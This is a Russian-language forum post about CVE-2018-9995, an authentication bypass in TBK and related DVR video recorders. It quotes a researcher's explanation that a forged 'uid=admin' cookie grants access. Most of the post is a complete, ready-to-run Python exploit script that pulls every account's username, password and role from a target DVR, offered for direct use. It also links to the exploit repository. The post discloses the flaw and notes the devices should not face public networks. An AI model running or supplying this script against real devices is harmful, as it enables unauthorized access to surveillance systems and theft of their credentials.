1. BURMALDA05.05.2024 в 12:09от
  2. infocsgoup05.05.2024 в 11:59от
Загрузка...

Cпособ получить пароль админа на видеорегистраторах

Тема в разделе "Новости электронного мира", создана пользователем ШABEPМA, 11.05.2018.

  1. ШABEPМA

    НЕ ЩИПЛЕТ ГЛАЗКИ
    ШABEPМA

    Статус:
    Оффлайн
    Регистрация:
    11.09.16
    Сообщения:
    10.297
    Репутация:
    3.666 +/-
    "Легкий" и странный способ получить пароль админа на видеорегистраторах TBK DVR4104 и DVR4216. Обозвали CVE-2018-9995. А еще и на производных/родственных CeNova, QSee, Pulnix, XVR 5 in 1, Night OWL, DVR Login, HVR Login, MDVR Login.

    Про патчи пока не слыхать, но видеорегистраторы определенно не должны быть доступны из публичных сетей, кроме тех, которые должны.

    Пара строк кода "как это работает" от исследователя:

    Estaba en la caza de cierto cacharro ICS/OT y en el camino apareció otro tipo de dispositivo, me refiero a un lindo DVR, del que sin querer salio este POST.


    Todo comenzo aqui:
    [​IMG]





    [​IMG]

    Asique sin pensarlo mas seteo esa cookie manualmente y le asigno de valor "admin"

    [​IMG]


    [​IMG]


    refrescamos y estamos adentro:

    [​IMG]



    [​IMG]

    Si bien es cierto que el aplicativo carga con funcionalidades limitadas algunas cosas interesantes aun funcionan:

    *sigo revisando el JS

    [​IMG]


    Con y sin la bendita cookie:

    [​IMG]


    Finalmente conseguimos "nuestros" passwords:

    admin:admin

    [​IMG]

    И немного про эксплуатацию:

    https://github.com/ezelf/CVE-2018-9995_dvr_credentials

    И скрипт, если лень веб-запрос писать:


    Код:
    # -*- coding: utf-8 -*-
    import json
    import requests
    import argparse
    import tableprint as tp
     
    class Colors:
        BLUE        = '\033[94m'
        GREEN       = '\033[32m'
        RED         = '\033[0;31m'
        DEFAULT     = '\033[0m'
        ORANGE      = '\033[33m'
        WHITE       = '\033[97m'
        BOLD        = '\033[1m'
        BR_COLOUR   = '\033[1;37;40m'
     
    banner = '''
                                 __..--.._
          .....              .--~  .....  `.
        .":    "`-..  .    .' ..-'"    :". `
        ` `._ ` _.'`"(     `-"'`._ ' _.' '
             ~~~      `.          ~~~
                      .'
                     /
                    (
                     ^---'
     
     
     [*] @capitan_alfa
    '''
     
    details = '''
     # Exploit Title:   DVRs; Credentials Exposed
     # Date:            09/04/2018
     # Exploit Author:  Fernandez Ezequiel ( @capitan_alfa )
    '''
    parser = argparse.ArgumentParser(prog='getDVR_Credentials.py',
                                    description=' [+] Obtaining Exposed credentials',
                                    epilog='[+] Demo: python getDVR_Credentials.py --host 192.168.1.101 -p 81',
                                    version="1.1")
     
    parser.add_argument('--host',   dest="HOST",    help='Host',    required=True)
    parser.add_argument('--port',   dest="PORT",    help='Port',    default=80)
     
    args    =   parser.parse_args()
     
    HST     =   args.HOST
    port    =   args.PORT
     
    headers = {}
     
    fullHost_1  =   "http://"+HST+":"+str(port)+"/device.rsp?opt=user&cmd=list"
    host        =   "http://"+HST+":"+str(port)+"/"
     
    print Colors.GREEN+banner+Colors.DEFAULT
     
     
    def makeReqHeaders(xCookie):
        headers["Host"]             =  host
        headers["User-Agent"]       = "Morzilla/7.0 (911; Pinux x86_128; rv:9743.0)"
        headers["Accept"]           = "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"
        headers["Accept-Languag"]   = "es-AR,en-US;q=0.7,en;q=0.3"
        headers["Connection"]       = "close"
        headers["Content-Type"]     = "text/html"
        headers["Cookie"]           = "uid="+xCookie
      
        return headers
     
    try:
        rX = requests.get(fullHost_1,headers=makeReqHeaders(xCookie="admin"),timeout=10.000)
    except Exception,e:
        print Colors.RED+" [+] Timed out\n"+Colors.DEFAULT
        exit()
     
    badJson = rX.text
    try:
        dataJson = json.loads(badJson)
        totUsr = len(dataJson["list"])   #--> 10
    except Exception, e:
        print " [+] Error: "+str(e)
        print " [>] json: "+str(rX)
    #    print " [>] Reuest: \n"+str(makeReqHeaders(xCookie="admin"))
        exit()
     
     
    print Colors.GREEN+"\n [+] DVR (url):\t\t"+Colors.ORANGE+str(host)+Colors.GREEN
    print " [+] Port: \t\t"+Colors.ORANGE+str(port)+Colors.DEFAULT
     
    print Colors.GREEN+"\n [+] Users List:\t"+Colors.ORANGE+str(totUsr)+Colors.DEFAULT
    print " "
     
    final_data = []
    try:
        for obj in range(0,totUsr):
     
            temp = []
     
            _usuario    = dataJson["list"][obj]["uid"]
            _password   = dataJson["list"][obj]["pwd"]
            _role       = dataJson["list"][obj]["role"]
     
            temp.append(_usuario)
            temp.append(_password)
            temp.append(_role)
     
            final_data.append(temp)
     
            hdUsr  = Colors.GREEN + "Username" + Colors.DEFAULT
            hdPass = Colors.GREEN + "Password" + Colors.DEFAULT
            hdRole = Colors.GREEN + "Role ID"  + Colors.DEFAULT
     
            cabeceras = [hdUsr, hdPass, hdRole]
     
        tp.table(final_data, cabeceras, width=20)
     
    except Exception, e:
        print "\n [!]: "+str(e)
        print " [+] "+ str(dataJson)
     
    print "\n"
    https://cxsecurity.com/issue/WLB-2018050019
     
      Mongol и Meme Machine нравится это.